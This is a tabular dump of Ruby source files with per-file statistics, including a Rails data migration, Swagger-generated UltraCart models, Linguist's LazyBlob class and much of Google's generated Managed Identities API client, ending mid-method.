hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
ff0a8d17c613e2aeb1b3803bb120045c23170bf7 | 807 | class AddOpenCasesReports < ActiveRecord::DataMigration
def up
rt = ReportType.find_by(abbr: 'R901')
rt = ReportType.new if rt.nil?
rt.update(
abbr: 'R901',
full_name: 'Open cases report for Offender Sar',
class_name: 'Stats::R901OffenderSarCasesReport',
custom_report: false,
standard_report: false,
foi: false,
sar: false,
offender_sar: true,
seq_id: 1100)
rt = ReportType.find_by(abbr: 'R900')
rt = ReportType.new if rt.nil?
rt.update(
abbr: 'R900',
full_name: 'Cases report',
class_name: 'Stats::R900CasesReport',
custom_report: false,
standard_report: false,
foi: true,
sar: true,
offender_sar: false,
seq_id:1000)
end
end
| 26.032258 | 56 | 0.592317 |
b937d152ccbbb0e98308f24a064ec9f646d1b110 | 267 | require 'finacle_api/common/serializable_object'
module FinacleApi
module LoanAcctInq
module ResponseEntity
class InstallFreq < SerializableObject
attr_accessor :cal, :type, :start_dt, :week_day, :week_num, :hol_stat
end
end
end
end
| 22.25 | 77 | 0.726592 |
1cd5ec370966b50a2cba304c60061809f68dfc3a | 326 | # frozen_string_literal: true
require 'sequel'
require 'real_world/auth/ports/repository/sql'
RSpec.shared_context 'auth ports' do
let(:repository) do
RealWorld::Auth::Ports::Repository::SQL.new(Sequel.connect('sqlite:memory'), unsafe: true)
end
let(:ports) do
{
repository: repository,
}
end
end
| 19.176471 | 94 | 0.705521 |
ffbcb2d8d9e37c6de0542906b11dfe77725eb262 | 6,188 | =begin
#UltraCart Rest API V2
#UltraCart REST API Version 2
OpenAPI spec version: 2.0.0
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.4.15-SNAPSHOT
=end
require 'date'
module UltracartClient
class EmailCommseqEmailResponse
attr_accessor :email
attr_accessor :error
attr_accessor :metadata
# Indicates if API call was successful
attr_accessor :success
attr_accessor :warning
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'email' => :'email',
:'error' => :'error',
:'metadata' => :'metadata',
:'success' => :'success',
:'warning' => :'warning'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'email' => :'EmailCommseqEmail',
:'error' => :'Error',
:'metadata' => :'ResponseMetadata',
:'success' => :'BOOLEAN',
:'warning' => :'Warning'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
if attributes.has_key?(:'email')
self.email = attributes[:'email']
end
if attributes.has_key?(:'error')
self.error = attributes[:'error']
end
if attributes.has_key?(:'metadata')
self.metadata = attributes[:'metadata']
end
if attributes.has_key?(:'success')
self.success = attributes[:'success']
end
if attributes.has_key?(:'warning')
self.warning = attributes[:'warning']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
email == o.email &&
error == o.error &&
metadata == o.metadata &&
success == o.success &&
warning == o.warning
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[email, error, metadata, success, warning].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = UltracartClient.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 27.873874 | 107 | 0.606012 |
1c743de57bdefd2e2141b01463573bf9b3981469 | 284 | module Fog
module Rackspace
class LoadBalancers
class Real
def list_algorithms
request(
:expects => 200,
:method => 'GET',
:path => 'loadbalancers/algorithms'
)
end
end
end
end
end
| 17.75 | 51 | 0.482394 |
bf23984e78b32b91aa3404fe4fc65e8825f24438 | 159 | class Forms::TagComponentPreview < ViewComponent::Preview
def default
end
def disabled
end
def with_remove_button
end
def clickable
end
end
| 11.357143 | 57 | 0.742138 |
ed557649a8c09846bf00a5ac9b1a3eb2ed3af35f | 2,580 | class Hash
# Returns new hash with given arguments.
# If an array is provided, it will be flattened once. Multi-level arrays are not supported.
# This method is basically a helper to support different return values of Hash#select:
# Ruby 1.8.7 returns an array, Ruby 1.9.2 returns a hash.
#
def self.build(args = nil)
if args.is_a?(::Array)
args = args.flatten_once
self[*args]
elsif args.is_a?(self)
args
else
self.new
end
end
# Returns URL-encoded string of uri params.
#
# Examples:
#
# {:some => :value, :another => "speciál"}.to_uri # => "some=value&another=speci%C3%A1l"
# {:some => {:nested => :thing}}.to_uri # => "some[nested]=thing"
#
# Stolen from active_record/core_ext. Thanks
#
def to_query(namespace = nil)
out = collect do |key, value|
value.to_query(namespace ? "#{namespace}[#{key}]" : key)
end.sort * "&"
end
alias_method :to_uri, :to_query
# Returns a copy of self including only the given keys.
#
# Example:
#
# {:name => "Rodrigo", :age => 21}.only(:name) # => {:name => "Rodrigo"}
#
# Inspired by:
# http://www.koders.com/ruby/fid80243BF76758F830B298E0E681B082B3408AB185.aspx?s=%22Rodrigo+Kochenburger%22#L9
# and
# http://snippets.dzone.com/posts/show/302
#
def only(*keys)
keys.flatten!
args = self.select { |k,v| keys.include?(k) }
Hash.build(args)
end
# Returns a copy of self including all but the given keys.
#
# Example:
#
# {:name => "Rodrigo", :age = 21}.except(:name) # => {:age => 21}
#
# Inspired by:
# http://www.koders.com/ruby/fid80243BF76758F830B298E0E681B082B3408AB185.aspx?s=%22Rodrigo+Kochenburger%22#L9
#
def except(*keys)
keys.flatten!
args = self.select { |k,v| !keys.include?(k) }
Hash.build(args)
end
# Returns a nested array. Just like #to_a, but nested.
# Also converts hashes within arrays.
#
def to_a_rec
array = []
for key, value in self
if value.is_a?(Hash)
value = value.to_a_rec
elsif value.is_a?(Array)
a = value.flatten
value = []
for v in a
value << (v.is_a?(Hash) ? v.to_a_rec : v)
end
end
array << [key, value]
end
array
end
# Returns true if hash has all of given keys.
# It's like Hash#key?, but it accepts several keys.
#
# Example:
#
# {:some => "say", :any => "thing"}.keys?(:some, :any) # => true
#
def keys?(*args)
for arg in args
return false unless self[arg]
end
return true
end
end
| 25.294118 | 111 | 0.604264 |
389cc243037c8b99d47e9527dba36e2544f3c7fa | 2,248 | require 'linguist/blob_helper'
require 'linguist/language'
require 'rugged'
module Linguist
class LazyBlob
GIT_ATTR = ['linguist-documentation',
'linguist-language',
'linguist-vendored',
'linguist-generated',
'linguist-detectable']
GIT_ATTR_OPTS = { :priority => [:index], :skip_system => true }
GIT_ATTR_FLAGS = Rugged::Repository::Attributes.parse_opts(GIT_ATTR_OPTS)
include BlobHelper
MAX_SIZE = 128 * 1024
attr_reader :repository
attr_reader :oid
attr_reader :path
attr_reader :mode
alias :name :path
def initialize(repo, oid, path, mode = nil)
@repository = repo
@oid = oid
@path = path
@mode = mode
@data = nil
end
def git_attributes
@git_attributes ||= repository.fetch_attributes(
name, GIT_ATTR, GIT_ATTR_FLAGS)
end
def documentation?
if attr = git_attributes['linguist-documentation']
boolean_attribute(attr)
else
super
end
end
def generated?
if attr = git_attributes['linguist-generated']
boolean_attribute(attr)
else
super
end
end
def vendored?
if attr = git_attributes['linguist-vendored']
return boolean_attribute(attr)
else
super
end
end
def language
return @language if defined?(@language)
@language = if lang = git_attributes['linguist-language']
Language.find_by_alias(lang)
else
super
end
end
def detectable?
if attr = git_attributes['linguist-detectable']
return boolean_attribute(attr)
else
nil
end
end
def data
load_blob!
@data
end
def size
load_blob!
@size
end
def symlink?
# We don't create LazyBlobs for symlinks.
false
end
def cleanup!
@data.clear if @data
end
protected
# Returns true if the attribute is present and not the string "false".
def boolean_attribute(attribute)
attribute != "false"
end
def load_blob!
@data, @size = Rugged::Blob.to_buffer(repository, oid, MAX_SIZE) if @data.nil?
end
end
end
| 19.893805 | 84 | 0.603648 |
f8af1f1ceccef5619ef33387410b9b6790f8d74a | 48,633 | # Copyright 2015 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'google/apis/core/base_service'
require 'google/apis/core/json_representation'
require 'google/apis/core/hashable'
require 'google/apis/errors'
module Google
module Apis
module ManagedidentitiesV1beta1
# Managed Service for Microsoft Active Directory API
#
# The Managed Service for Microsoft Active Directory API is used for managing a
# highly available, hardened service running Microsoft Active Directory (AD).
#
# @example
# require 'google/apis/managedidentities_v1beta1'
#
# Managedidentities = Google::Apis::ManagedidentitiesV1beta1 # Alias the module
# service = Managedidentities::ManagedServiceforMicrosoftActiveDirectoryConsumerAPIService.new
#
# @see https://cloud.google.com/managed-microsoft-ad/
class ManagedServiceforMicrosoftActiveDirectoryConsumerAPIService < Google::Apis::Core::BaseService
# @return [String]
# API key. Your API key identifies your project and provides you with API access,
# quota, and reports. Required unless you provide an OAuth 2.0 token.
attr_accessor :key
# @return [String]
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
attr_accessor :quota_user
def initialize
super('https://managedidentities.googleapis.com/', '')
@batch_path = 'batch'
end
# Gets information about a location.
# @param [String] name
# Resource name for the location.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Location] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Location]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Location::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Location
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Lists information about the supported locations for this service.
# @param [String] name
# The resource that owns the locations collection, if applicable.
# @param [String] filter
# The standard list filter.
# @param [Boolean] include_unrevealed_locations
# If true, the returned list will include locations which are not yet revealed.
# @param [Fixnum] page_size
# The standard list page size.
# @param [String] page_token
# The standard list page token.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::ListLocationsResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::ListLocationsResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_project_locations(name, filter: nil, include_unrevealed_locations: nil, page_size: nil, page_token: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}/locations', options)
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::ListLocationsResponse::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::ListLocationsResponse
command.params['name'] = name unless name.nil?
command.query['filter'] = filter unless filter.nil?
command.query['includeUnrevealedLocations'] = include_unrevealed_locations unless include_unrevealed_locations.nil?
command.query['pageSize'] = page_size unless page_size.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Adds an AD trust to a domain.
# @param [String] name
# Required. The resource domain name, project name and location using the form: `
# projects/`project_id`/locations/global/domains/`domain_name``
# @param [Google::Apis::ManagedidentitiesV1beta1::AttachTrustRequest] attach_trust_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def attach_domain_trust(name, attach_trust_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+name}:attachTrust', options)
command.request_representation = Google::Apis::ManagedidentitiesV1beta1::AttachTrustRequest::Representation
command.request_object = attach_trust_request_object
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Operation::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Operation
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Creates a Microsoft AD domain.
# @param [String] parent
# Required. The resource project name and location using the form: `projects/`
# project_id`/locations/global`
# @param [Google::Apis::ManagedidentitiesV1beta1::Domain] domain_object
# @param [String] domain_name
# Required. A domain name, e.g. mydomain.myorg.com, with the following
# restrictions: * Must contain only lowercase letters, numbers, periods and
# hyphens. * Must start with a letter. * Must contain between 2-64 characters. *
# Must end with a number or a letter. * Must not start with period. * First
# segement length (mydomain form example above) shouldn't exceed 15 chars. * The
# last segment cannot be fully numeric. * Must be unique within the customer
# project.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def create_project_location_global_domain(parent, domain_object = nil, domain_name: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+parent}/domains', options)
command.request_representation = Google::Apis::ManagedidentitiesV1beta1::Domain::Representation
command.request_object = domain_object
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Operation::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Operation
command.params['parent'] = parent unless parent.nil?
command.query['domainName'] = domain_name unless domain_name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Deletes a domain.
# @param [String] name
# Required. The domain resource name using the form: `projects/`project_id`/
# locations/global/domains/`domain_name``
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def delete_project_location_global_domain(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Operation::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Operation
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Removes an AD trust.
# @param [String] name
# Required. The resource domain name, project name, and location using the form:
# `projects/`project_id`/locations/global/domains/`domain_name``
# @param [Google::Apis::ManagedidentitiesV1beta1::DetachTrustRequest] detach_trust_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def detach_domain_trust(name, detach_trust_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+name}:detachTrust', options)
command.request_representation = Google::Apis::ManagedidentitiesV1beta1::DetachTrustRequest::Representation
command.request_object = detach_trust_request_object
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Operation::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Operation
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets information about a domain.
# @param [String] name
# Required. The domain resource name using the form: `projects/`project_id`/
# locations/global/domains/`domain_name``
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Domain] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Domain]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location_global_domain(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Domain::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Domain
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the access control policy for a resource. Returns an empty policy if the
# resource exists and does not have a policy set.
# @param [String] resource
# REQUIRED: The resource for which the policy is being requested. See the
# operation documentation for the appropriate value for this field.
# @param [Fixnum] options_requested_policy_version
# Optional. The policy format version to be returned. Valid values are 0, 1, and
# 3. Requests specifying an invalid value will be rejected. Requests for
# policies with any conditional bindings must specify version 3. Policies
# without any conditional bindings may specify any valid value or leave the
# field unset. To learn which resources support conditions in their IAM policies,
# see the [IAM documentation](https://cloud.google.com/iam/help/conditions/
# resource-policies).
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Policy] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Policy]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location_global_domain_iam_policy(resource, options_requested_policy_version: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+resource}:getIamPolicy', options)
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Policy::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Policy
command.params['resource'] = resource unless resource.nil?
command.query['options.requestedPolicyVersion'] = options_requested_policy_version unless options_requested_policy_version.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Lists domains in a project.
# @param [String] parent
# Required. The resource name of the domain location using the form: `projects/`
# project_id`/locations/global`
# @param [String] filter
# Optional. A filter specifying constraints of a list operation. For example, `
# Domain.fqdn="mydomain.myorginization"`.
# @param [String] order_by
# Optional. Specifies the ordering of results. See [Sorting order](https://cloud.
# google.com/apis/design/design_patterns#sorting_order) for more information.
# @param [Fixnum] page_size
# Optional. The maximum number of items to return. If not specified, a default
# value of 1000 will be used. Regardless of the page_size value, the response
# may include a partial list. Callers should rely on a response's
# next_page_token to determine if there are additional results to list.
# @param [String] page_token
# The `next_page_token` value returned from a previous ListDomainsRequest
# request, if any.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::ListDomainsResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::ListDomainsResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_project_location_global_domains(parent, filter: nil, order_by: nil, page_size: nil, page_token: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/domains', options)
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::ListDomainsResponse::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::ListDomainsResponse
command.params['parent'] = parent unless parent.nil?
command.query['filter'] = filter unless filter.nil?
command.query['orderBy'] = order_by unless order_by.nil?
command.query['pageSize'] = page_size unless page_size.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Updates the metadata and configuration of a domain.
# @param [String] name
# Output only. The unique name of the domain using the form: `projects/`
# project_id`/locations/global/domains/`domain_name``.
# @param [Google::Apis::ManagedidentitiesV1beta1::Domain] domain_object
# @param [String] update_mask
# Required. Mask of fields to update. At least one path must be supplied in this
# field. The elements of the repeated paths field may only include fields from
# Domain: * `labels` * `locations` * `authorized_networks`
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def patch_project_location_global_domain(name, domain_object = nil, update_mask: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:patch, 'v1beta1/{+name}', options)
command.request_representation = Google::Apis::ManagedidentitiesV1beta1::Domain::Representation
command.request_object = domain_object
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Operation::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Operation
command.params['name'] = name unless name.nil?
command.query['updateMask'] = update_mask unless update_mask.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Updates the DNS conditional forwarder.
# @param [String] name
# Required. The resource domain name, project name and location using the form: `
# projects/`project_id`/locations/global/domains/`domain_name``
# @param [Google::Apis::ManagedidentitiesV1beta1::ReconfigureTrustRequest] reconfigure_trust_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def reconfigure_domain_trust(name, reconfigure_trust_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+name}:reconfigureTrust', options)
command.request_representation = Google::Apis::ManagedidentitiesV1beta1::ReconfigureTrustRequest::Representation
command.request_object = reconfigure_trust_request_object
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Operation::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Operation
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Resets a domain's administrator password.
# @param [String] name
# Required. The domain resource name using the form: `projects/`project_id`/
# locations/global/domains/`domain_name``
# @param [Google::Apis::ManagedidentitiesV1beta1::ResetAdminPasswordRequest] reset_admin_password_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::ResetAdminPasswordResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::ResetAdminPasswordResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def reset_domain_admin_password(name, reset_admin_password_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
